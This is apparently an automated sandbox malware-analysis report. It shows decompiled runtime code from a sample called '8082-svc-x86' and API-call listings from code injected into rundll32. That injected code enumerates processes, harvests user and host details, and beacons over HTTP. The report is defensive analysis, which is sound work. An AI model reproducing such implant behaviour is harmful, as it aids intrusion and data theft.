										_t67 =  *_t22;
										__eflags = _t67 - 1;
										if(_t67 != 1) {
											L40:
											_v88 = _t67;
											 *_t122 = "  Unknown pseudo relocation protocol version %d.\n";
											E004020D0(_t80, _t83, _t89, _t103, _t114);
											0;
											0;
											_t94 = _v88;
											__eflags =  *_t94 - 0x5a4d;
											if( *_t94 != 0x5a4d) {
												L42:
												asm("repe ret");
											}
											_t46 = _t94 + 0x3c; // 0x40003ca1
											_t94 = _t94 +  *_t46;
											__eflags =  *_t94 - 0x4550;
											if( *_t94 != 0x4550) {
												goto L42;
											}
											__eflags =  *((short*)(_t94 + 0x18)) - 0x10b;
											_t49 =  *((short*)(_t94 + 0x18)) == 0x10b;
											__eflags = _t49;
											return 0 | _t49;
										} else {
											_t82 = _t80 + 0xc;
											__eflags = _t82 - 0x446324;
											if(_t82 < 0x446324) {
												do {
													_t23 = _t82 + 8; // 0x0
													_t95 =  *_t23 & 0x000000ff;
													_t85 =  *_t82;
													_t24 = _t82 + 4; // 0x0
													_t50 = 0x400000 +  *_t24;
													__eflags = _t95 - 0x10;
													_t115 =  *((intOrPtr*)(_t85 + 0x400000));
													if(_t95 == 0x10) {
														_t105 =  *0x400000 & 0x0000ffff;
														__eflags = _t105 & 0x00008000;
														if((_t105 & 0x00008000) != 0) {
															_t103 = (_t105 | 0xffff0000) - _t85 - 0x400000;
															_t116 = _t115 + (_t105 | 0xffff0000) - _t85 - 0x400000;
															__eflags = _t116;
															_v36 = _t116;
															goto L38;
														} else {
															goto L29;
														}
													} else {
														__eflags = _t95 - 0x20;
														if(_t95 == 0x20) {
															_t102 =  *0x400000 - _t85 - 0x400000 + _t115;
															__eflags = _t102;
															_v36 = _t102;
															goto L34;
														} else {
															__eflags = _t95 - 8;
															if(_t95 != 8) {
																_v88 = _t95;
																 *_t122 = "  Unknown pseudo relocation bit size %d.\n";
																_v36 = 0;
																_t50 = E004020D0(_t82, _t85, _t95, _t103, _t115);
															}
															_t105 =  *_t50 & 0x000000ff;
															__eflags = _t105 & 0x00000080;
															if((_t105 & 0x00000080) == 0) {
																L29:
																_t103 = _t105 - _t85 - 0x400000;
																_t116 = _t115 + _t105 - _t85 - 0x400000;
																__eflags = _t95 - 0x10;
																_v36 = _t115 + _t105 - _t85 - 0x400000;
																if(_t95 == 0x10) {
																	L38:
																	_t50 = E00402130(_t50, _t82, 2,  &_v36, _t103, _t116);
																} else {
																	__eflags = _t95 - 0x20;
																	if(_t95 == 0x20) {
																		L34:
																		_t50 = E00402130(_t50, _t82, 4,  &_v36, _t103, _t116);
																	} else {
																		__eflags = _t95 - 8;
																		if(_t95 == 8) {
																			goto L32;
																		}
																	}
																}
															} else {
																_t103 = (_t105 | 0xffffff00) - _t85 - 0x400000;
																_t116 = _t115 + (_t105 | 0xffffff00) - _t85 - 0x400000;
																_v36 = _t115 + (_t105 | 0xffffff00) - _t85 - 0x400000;
																L32:
																_t50 = E00402130(_t50, _t82, 1,  &_v36, _t103, _t116);
															}
														}
													}
													_t82 = _t82 + 0xc;
													__eflags = _t82 - 0x446324;
												} while (_t82 < 0x446324);
												L10:
												_t83 =  *0x447058;
												__eflags =  *0x447058;
												if( *0x447058 > 0) {
													_t81 = 0;
													_t114 = 0;
													_t103 = VirtualQuery;
													do {
														_t50 =  *0x447054 + _t81;
														__eflags =  *_t50;
														if( *_t50 == 0) {
															goto L12;
														} else {
															_t89 =  &_v64;
															_v84 = 0x1c;
															_v88 =  &_v64;
															 *_t122 =  *(_t50 + 4);
															_t63 = VirtualQuery(??, ??, ??);
															_t122 = _t122 - 0xc;
															__eflags = _t63;
															if(_t63 == 0) {
																_t80 = _t81 +  *0x447054;
																__eflags = _t80;
																_v84 =  *(_t80 + 4);
																 *_t122 = "  VirtualQuery failed for %d bytes at address %p";
																_v88 =  *((intOrPtr*)( *(_t80 + 8) + 8));
																_t67 = E004020D0(_t80, _t83,  &_v64, _t103, _t114);
																goto L40;
															} else {
																_v80 =  &_v32;
																_v84 =  *( *0x447054 + _t81);
																_v88 = _v52;
																 *_t122 = _v64;
																_t50 = VirtualProtect(??, ??, ??, ??);
																_t122 = _t122 - 0x10;
																goto L12;
															}
														}
														goto L45;
														L12:
														_t114 = _t114 + 1;
														_t81 = _t81 + 0xc;
														__eflags = _t114 -  *0x447058;
													} while (_t114 <  *0x447058);
												}
											}
											goto L1;
										}
									} else {
										_t80 = 0x446330;
										goto L18;
									}
								} else {
									goto L7;
								}
							}
						}
					}
				} else {
					L1:
					return _t50;
				}
				L45:
			}

0x00402370
0x00402373
0x00402374
0x00402375
0x00402376
0x00402379
0x00402380
0x00402390
0x004023ac
0x004023b1
0x004023bb
0x004023c4
0x004023ce
0x004023d3
0x004023d6
0x00000000
0x004023d8
0x004023d8
0x004023db
0x004023e0
0x004024d0
0x004024d0
0x004024d2
0x004024d4
0x00000000
0x004024da
0x004024da
0x004024da
0x004024dd
0x004024df
0x00000000
0x00000000
0x00000000
0x00000000
0x004024df
0x004023e6
0x004023e6
0x004023eb
0x004023ed
0x00402400
0x00402400
0x00402406
0x00000000
0x0040240c
0x00402411
0x00402411
0x0040241d
0x0040241f
0x00402422
0x00402428
0x0040242d
0x0040242d
0x00000000
0x00402411
0x004023ef
0x004023ef
0x004023f4
0x004023f6
0x004024bc
0x004024c1
0x004024c3
0x004024e5
0x004024e5
0x004024e5
0x004024e8
0x004024eb
0x00402605
0x00402605
0x00402609
0x00402610
0x0040261b
0x0040261f
0x00402620
0x00402626
0x0040262b
0x0040262d
0x0040262d
0x0040262d
0x00402630
0x00402630
0x00402633
0x00402639
0x00000000
0x00000000
0x0040263d
0x00402643
0x00402643
0x00402646
0x004024f1
0x004024f1
0x004024f4
0x004024fa
0x00402500
0x00402500
0x00402500
0x00402509
0x0040250b
0x0040250b
0x0040250e
0x00402511
0x00402517
0x0040255a
0x0040255d
0x00402563
0x004025c8
0x004025ce
0x004025ce
0x004025d0
0x00000000
0x00000000
0x00000000
0x00000000
0x00402519
0x00402519
0x0040251c
0x0040259a
0x0040259a
0x0040259c
0x00000000
0x0040251e
0x0040251e
0x00402521
0x00402523
0x00402527
0x0040252e
0x00402535
0x00402535
0x0040253a
0x0040253d
0x00402543
0x00402565
0x00402567
0x0040256d
0x0040256f
0x00402572
0x00402575
0x004025d3
0x004025db
0x00402577
0x00402577
0x0040257a
0x0040259f
0x004025a7
0x0040257c
0x0040257c
0x0040257f
0x00000000
0x00000000
0x0040257f
0x0040257a
0x00402545
0x0040254d
0x00402553
0x00402555
0x00402581
0x00402589
0x00402589
0x00402543
0x0040251c
0x004025ac
0x004025af
0x004025af
0x00402435
0x00402435
0x0040243b
0x0040243d
0x00402443
0x00402445
0x00402447
0x00402462
0x00402467
0x0040246b
0x0040246d
0x00000000
0x0040246f
0x0040246f
0x00402472
0x0040247a
0x00402481
0x00402484
0x00402486
0x00402489
0x0040248b
0x004025e2
0x004025e2
0x004025eb
0x004025f5
0x004025fc
0x00402600
0x00000000
0x00402491
0x00402494
0x004024a0
0x004024a7
0x004024ae
0x004024b1
0x004024b7
0x00000000
0x004024b7
0x0040248b
0x00000000
0x00402450
0x00402450
0x00402453
0x00402456
0x00402456
0x00402462
0x0040243d
0x00000000
0x004024fa
0x004024c5
0x004024c5
0x00000000
0x004024c5
0x00000000
0x00000000
0x00000000
0x004023f6
0x004023ed
0x004023e0
0x00402382
0x00402382
0x00402389
0x00402389
0x00000000

APIs

VirtualQuery.KERNEL32 ref: 00402484
VirtualProtect.KERNEL32 ref: 004024B1

Strings

$cD, xrefs: 004025AF
0cD, xrefs: 004024C5
$cD, xrefs: 004023C9
$cD, xrefs: 004024F4
$cD, xrefs: 0040242D
$cD, xrefs: 00402400
$cD, xrefs: 004023DB

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: Virtual$ProtectQuery
String ID: $cD$$cD$$cD$$cD$$cD$$cD$0cD
API String ID: 1027372294-123262353
Opcode ID: 422152fc3e2ab2d39da954a347a7a2ad36ea1e08fe0062b0fe507bfb3673c2e6
Instruction ID: 59a3b36286f1a3366d46ed1ab76a93ddc316b4582b38701594b4db6fa2c03e34
Opcode Fuzzy Hash: 422152fc3e2ab2d39da954a347a7a2ad36ea1e08fe0062b0fe507bfb3673c2e6
Instruction Fuzzy Hash: 76618F759012109BDB10DF28DE8875AB7E1BB86304F05853BDC48AB3D9D7BC98458B9A

Uniqueness

Uniqueness Score: -1.00%

Function 00401E70 Relevance: 9.1, APIs: 6, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E00401E70(intOrPtr* _a4) {
				intOrPtr _v16;
				intOrPtr _v40;
				intOrPtr* _t20;
				intOrPtr _t21;
				void* _t23;
				intOrPtr* _t24;

				_t24 = _t23 - 0x24;
				_t20 = _a4;
				_t12 =  *((intOrPtr*)( *_t20));
				if(_t12 > 0xc0000091) {
					if(_t12 == 0xc0000094) {
						_t21 = 0;
						goto L3;
					} else {
						if(_t12 == 0xc0000096) {
							goto L14;
						} else {
							if(_t12 == 0xc0000093) {
								goto L2;
							} else {
								goto L10;
							}
							goto L6;
						}
					}
				} else {
					if(_t12 < 0xc000008d) {
						if(_t12 == 0xc0000005) {
							_v40 = 0;
							 *_t24 = 0xb;
							L00402F08();
							if(_t12 == 1) {
								_v40 = 1;
								 *_t24 = 0xb;
								L00402F08();
								_t13 = 0xffffffff;
								goto L6;
							} else {
								if(_t12 == 0) {
									goto L10;
								} else {
									 *_t24 = 0xb;
									 *_t12();
									return 0xffffffff;
								}
							}
						} else {
							if(_t12 != 0xc000001d) {
								goto L10;
							} else {
								L14:
								_v40 = 0;
								 *_t24 = 4;
								L00402F08();
								if(_t12 == 1) {
									_v40 = 1;
									 *_t24 = 4;
									L00402F08();
									_t13 = 0xffffffff;
									goto L6;
								} else {
									if(_t12 == 0) {
										goto L10;
									} else {
										 *_t24 = 4;
										 *_t12();
										return 0xffffffff;
									}
								}
							}
						}
					} else {
						L2:
						_t21 = 1;
						L3:
						_v40 = 0;
						 *_t24 = 8;
						L00402F08();
						if(_t12 == 1) {
							_v40 = 1;
							 *_t24 = 8;
							L00402F08();
							_t13 = 0xffffffff;
							if(_t21 != 0) {
								_v16 = 0xffffffff;
								E004029E0(0xffffffff);
								_t13 = _v16;
							}
						} else {
							if(_t12 == 0) {
								L10:
								_t12 =  *0x447048;
								if( *0x447048 != 0) {
									_a4 = _t20;
									_t24 = _t24 + 0x24;
									_pop(_t20);
									goto __eax;
								}
								_t13 = 0;
							} else {
								 *_t24 = 8;
								 *_t12();
								_t13 = 0xffffffff;
							}
						}
						L6:
						return _t13;
					}
				}
			}

0x00401e72
0x00401e75
0x00401e7b
0x00401e82
0x00401ecc
0x00401f35
0x00000000
0x00401ece
0x00401ed3
0x00000000
0x00401ed5
0x00401eda
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00401eda
0x00401ed3
0x00401e84
0x00401e89
0x00401ef9
0x00401f40
0x00401f48
0x00401f4f
0x00401f57
0x00401f95
0x00401f9d
0x00401fa4
0x00401fa9
0x00000000
0x00401f59
0x00401f5b
0x00000000
0x00401f61
0x00401f61
0x00401f68
0x00401f74
0x00401f74
0x00401f5b
0x00401efb
0x00401f00
0x00000000
0x00401f02
0x00401f02
0x00401f02
0x00401f0a
0x00401f11
0x00401f19
0x00401f77
0x00401f7f
0x00401f86
0x00401f8b
0x00000000
0x00401f1b
0x00401f1d
0x00000000
0x00401f1f
0x00401f1f
0x00401f26
0x00401f32
0x00401f32
0x00401f1d
0x00401f19
0x00401f00
0x00401e8b
0x00401e8b
0x00401e8b
0x00401e90
0x00401e90
0x00401e98
0x00401e9f
0x00401ea7
0x00401fc0
0x00401fc8
0x00401fcf
0x00401fd6
0x00401fdb
0x00401fe1
0x00401fe5
0x00401fea
0x00401fea
0x00401ead
0x00401eaf
0x00401edc
0x00401edc
0x00401ee3
0x00401ee9
0x00401eed
0x00401ef0
0x00401ef2
0x00401ef2
0x00401fb3
0x00401eb1
0x00401eb1
0x00401eb8
0x00401eba
0x00401eba
0x00401eaf
0x00401ebf
0x00401ec4
0x00401ec4
0x00401e89

APIs

signal.MSVCRT ref: 00401E9F
signal.MSVCRT ref: 00401F11
signal.MSVCRT ref: 00401FCF

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: 076b012b2faaf7d41d1354c41d59a44ea62ea59492cc7a2cfa72c3417747e349
Instruction ID: 2b2fb4f13665067853871a3c03d2f8b32264b4cd48bfad70ab7f7010fc096591
Opcode Fuzzy Hash: 076b012b2faaf7d41d1354c41d59a44ea62ea59492cc7a2cfa72c3417747e349
Instruction Fuzzy Hash: D5315EB01082014AE7206B29C98475FB6E0AB45368F154B2FE995EB3E0C7BDCCC5D79B

Uniqueness

Uniqueness Score: -1.00%

Function 00401D90 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

_lock.MSVCRT ref: 00401DB9
__dllonexit.MSVCRT ref: 00401DF3
_unlock.MSVCRT ref: 00401E23
_onexit.MSVCRT ref: 00401E33

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: __dllonexit_lock_onexit_unlock
String ID:
API String ID: 209411981-0
Opcode ID: cf349437953ce9cdd134685e6851c31f3945208db190d0b57b8a3c9b102cd484
Instruction ID: 4b24e0666d8a981386b584918515edc42c1a0f03ce8811935d4aa7e4e0574d64
Opcode Fuzzy Hash: cf349437953ce9cdd134685e6851c31f3945208db190d0b57b8a3c9b102cd484
Instruction Fuzzy Hash: 621172B49097018FC740EF79D8C551EBBE0BF49344F01493EF884973A2E73894899B86

Uniqueness

Uniqueness Score: -1.00%

Function 00402060 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 004020B0

Strings

Unknown error, xrefs: 00402063
`D, xrefs: 00402099

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: fprintf
String ID: Unknown error$`D
API String ID: 383729395-998694637
Opcode ID: a542f8e637eb038261be9fc26c95231f0cfb0aebd209d1a3285dd9a3ee82d83b
Instruction ID: 93609a3b73cc5ea9c3ab2400caaf39e172db4372100d30da72a34851d659c7de
Opcode Fuzzy Hash: a542f8e637eb038261be9fc26c95231f0cfb0aebd209d1a3285dd9a3ee82d83b
Instruction Fuzzy Hash: EDF0B274504641CFD304EF14E58881ABBF0FF86340F9289ADE4C99B265DB39C869CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 004014F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00401506
GetProcAddress.KERNEL32 ref: 00401523

Strings

.`D, xrefs: 00401518

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: .`D
API String ID: 1646373207-3655228630
Opcode ID: e241faeb086b053b208bcc9d9b737853b83041cba54b70f1211e6f0c21b8d89e
Instruction ID: 8eb024b395edb4ef39273b17c3dc8f3d536cf5df9895abdfe00a761acd926680
Opcode Fuzzy Hash: e241faeb086b053b208bcc9d9b737853b83041cba54b70f1211e6f0c21b8d89e
Instruction Fuzzy Hash: 30E0927960060147D7003B38BC0931FBEF4AB82340F81803ED8829B298EB78C806875B

Uniqueness

Uniqueness Score: -1.00%

Function 00402CF0 Relevance: 5.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00402D0F
free.MSVCRT ref: 00402D5F
LeaveCriticalSection.KERNEL32 ref: 00402D6B

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeavefree
String ID:
API String ID: 4020351045-0
Opcode ID: 413271a70fe2c7e956ee13f682ff4c8723aa91665ba9eea7cd34297265814eea
Instruction ID: 9dfb8d21f1abe8795451ee7139cbe699519cf24ac4fb659c4a1455ff3da6f2ba
Opcode Fuzzy Hash: 413271a70fe2c7e956ee13f682ff4c8723aa91665ba9eea7cd34297265814eea
Instruction Fuzzy Hash: 600184B56041018FD700BF68D98851A7BE1BF41300B54857EDC45DB3D4EB78DC56EB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00402BF0 Relevance: 5.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00402BFE
TlsGetValue.KERNEL32 ref: 00402C25
GetLastError.KERNEL32 ref: 00402C2C
LeaveCriticalSection.KERNEL32 ref: 00402C4C

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 7ffc1652a8f2265f8ba8a3877f0410817557b8bfda5811aed64e1766aed2b3d6
Instruction ID: d78717e8fd3e07e7b432b704acdbb9c6a55efd9aec4dfce1a3bc20b46d10a8eb
Opcode Fuzzy Hash: 7ffc1652a8f2265f8ba8a3877f0410817557b8bfda5811aed64e1766aed2b3d6
Instruction Fuzzy Hash: 90F028B69047008FE7107F78E9C841F7FA4EE11340B05047ECD445B358DB74A80ACBAA

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exePID: 3128, Parent PID: 1284COMMON

Execution Graph

Execution Coverage:	7.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	22

Executed Functions

Function 010A78FB Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 155
processCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 010A791D

Part of subcall function 010A0669: _malloc.LIBCMT ref: 010A066F

GetCurrentProcess.KERNEL32 ref: 010A7961
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 010A7995
Process32First.KERNEL32(00000000,?), ref: 010A79B7
CloseHandle.KERNEL32(00000000,00000000,?,00000002,00000000), ref: 010A79C1

Part of subcall function 010A06B9: htonl.WS2_32(00000000), ref: 010A06BF

OpenProcess.KERNEL32(-00000400,00000000,?,00000000,?,00000002,00000000), ref: 010A79EE
ProcessIdToSessionId.KERNELBASE(?,?), ref: 010A7A43
FindCloseChangeNotification.KERNELBASE(00000000), ref: 010A7A94
Process32Next.KERNEL32(00000000,00000128), ref: 010A7A9E

Part of subcall function 010A788E: OpenProcessToken.ADVAPI32(00000000,00000008,00000000,?,?,010A7A2D,00000000,00000000), ref: 010A789B

Strings

x86, xrefs: 010A798B, 010A7A5A, 010A7A6E

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: Process$CloseOpenProcess32$ChangeCreateCurrentFindFirstHandleNextNotificationSessionSnapshotTokenToolhelp32_malloc_memsethtonl
String ID: x86
API String ID: 3416148616-2105985432
Opcode ID: a0b63bb99150e4f53b81feb28e992b2ac2a969c50ed7a1870e26280dea156212
Instruction ID: 8f33c4361b44a8c48018616e7aa2e531735d00d2bff470afda5514fba064aba6
Opcode Fuzzy Hash: a0b63bb99150e4f53b81feb28e992b2ac2a969c50ed7a1870e26280dea156212
Instruction Fuzzy Hash: F4516372C0021EAEEF21ABE4CD45FEF7BBCAF54314F504196F689E2141EA3696458F60

Uniqueness

Uniqueness Score: -1.00%

Function 010A1449 Relevance: 16.7, APIs: 11, Instructions: 169
networkfileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 010A148A
__snprintf.LIBCMT ref: 010A14B1

Part of subcall function 010A6BFE: _memset.LIBCMT ref: 010A6C1F

__snprintf.LIBCMT ref: 010A14F8
__snprintf.LIBCMT ref: 010A150F
HttpOpenRequestA.WININET(00000000,?,00000000,00000000,010CC530,010D2C58), ref: 010A153E
HttpSendRequestA.WININET(00000000,?,?,010A1629,?), ref: 010A1567
InternetCloseHandle.WININET(00000000), ref: 010A1584
InternetQueryDataAvailable.WININET(00000000,010A052A,00000000,00000000), ref: 010A1595
InternetReadFile.WININET(00000000,?,00001000,?), ref: 010A15C3
InternetCloseHandle.WININET(00000000), ref: 010A15E3
InternetCloseHandle.WININET(00000000), ref: 010A1604

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle__snprintf$HttpRequest_memset$AvailableDataFileOpenQueryReadSend
String ID:
API String ID: 2581463937-0
Opcode ID: 94a68d78b0f684caa582becb89a81206a44b4153d6f0c210032e7048f509ca2a
Instruction ID: edff689f23a658c544b77bb0e6a87af923a4cda53451dfa6321c3f5f3cdddc5f
Opcode Fuzzy Hash: 94a68d78b0f684caa582becb89a81206a44b4153d6f0c210032e7048f509ca2a
Instruction Fuzzy Hash: 4751BE72900109BFDF21AFE8DC84DEE7BBDEF08710F844069F695E2250D7369A458B60

Uniqueness

Uniqueness Score: -1.00%

Function 010A58DD Relevance: 9.1, APIs: 6, Instructions: 123
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 010A5B90: _malloc.LIBCMT ref: 010A5B96
Part of subcall function 010A5B90: _malloc.LIBCMT ref: 010A5BA6

GetUserNameA.ADVAPI32(?,?), ref: 010A5942
GetComputerNameA.KERNEL32(?,?), ref: 010A5952

Part of subcall function 010A16C7: WSASocketA.WS2_32(00000002,00000002,00000000,00000000,00000000,00000000), ref: 010A16E7

GetModuleFileNameA.KERNEL32(00000000,?,00000100,?,?,?,?,?,?,?,?,?,00000000), ref: 010A5966
_strrchr.LIBCMT ref: 010A5975
GetVersionExA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 010A5990
__snprintf.LIBCMT ref: 010A59FC

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: Name$_malloc$ComputerFileModuleSocketUserVersion__snprintf_strrchr
String ID:
API String ID: 56250281-0
Opcode ID: 4b95f488c93ac710f07c2be0d2e8ed8a925f9281f7f9552f670f053147618e01
Instruction ID: 84153e7669efc3e31c88044c47a8cd113f247fa2635269a7a011b2155e5e5bab
Opcode Fuzzy Hash: 4b95f488c93ac710f07c2be0d2e8ed8a925f9281f7f9552f670f053147618e01
Instruction Fuzzy Hash: 44419D71D0020EEEDF11AFE0DD499EEBFB8FF54310F908459F584AA254EA368A409B50

Uniqueness

Uniqueness Score: -1.00%

Function 010AAA7E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
encryptionCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptGenRandom.ADVAPI32(00000000,010A5A64,?,?,?,010AAAF4,?,010A5A64,?,010A5A64,?), ref: 010AAAC8
CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,010AAAF4,?,010A5A64,?,010A5A64,?), ref: 010AAAD8

Strings

Microsoft Base Cryptographic Provider v1.0, xrefs: 010AAA95, 010AAA9A, 010AAAAE

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: Crypt$ContextRandomRelease
String ID: Microsoft Base Cryptographic Provider v1.0
API String ID: 3163166064-291530887
Opcode ID: 24ff5ad0b99beb0a611a9d25fb40897a4bcb0643476cd3d3a9271ede7229867d
Instruction ID: 4262bda637e24247d9cc0bccc4633f6fe3b11d6fa83715fe15e71b3b9a97c547
Opcode Fuzzy Hash: 24ff5ad0b99beb0a611a9d25fb40897a4bcb0643476cd3d3a9271ede7229867d
Instruction Fuzzy Hash: D9F03C36A40218FBDF318695CE09F8F7ABDEB45B51F604051F981B7184D7769E00DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 010A3410 Relevance: 1.4, APIs: 1, Instructions: 133sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(?), ref: 010A34AC

Memory Dump Source

Source File: 00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 010A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10a0000_rundll32.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 7a0e62f61d2487343c68d546d0fed2b5e277ec55e342f27ca8efb465afa3f918
Instruction ID: 40f6e37025599e52bfe2f8193404a09cb4eff4972ee385094ff980e282238902
Opcode Fuzzy Hash: 7a0e62f61d2487343c68d546d0fed2b5e277ec55e342f27ca8efb465afa3f918
Instruction Fuzzy Hash: 57418E356006059FDB1ACF6DC880969BBE2FF89354769C0AEE5DA8F312D631F941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 010A1207 Relevance: 15.1, APIs: 10, Instructions: 147
networksleepCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 010A1232
_memset.LIBCMT ref: 010A1247
__snprintf.LIBCMT ref: 010A1285
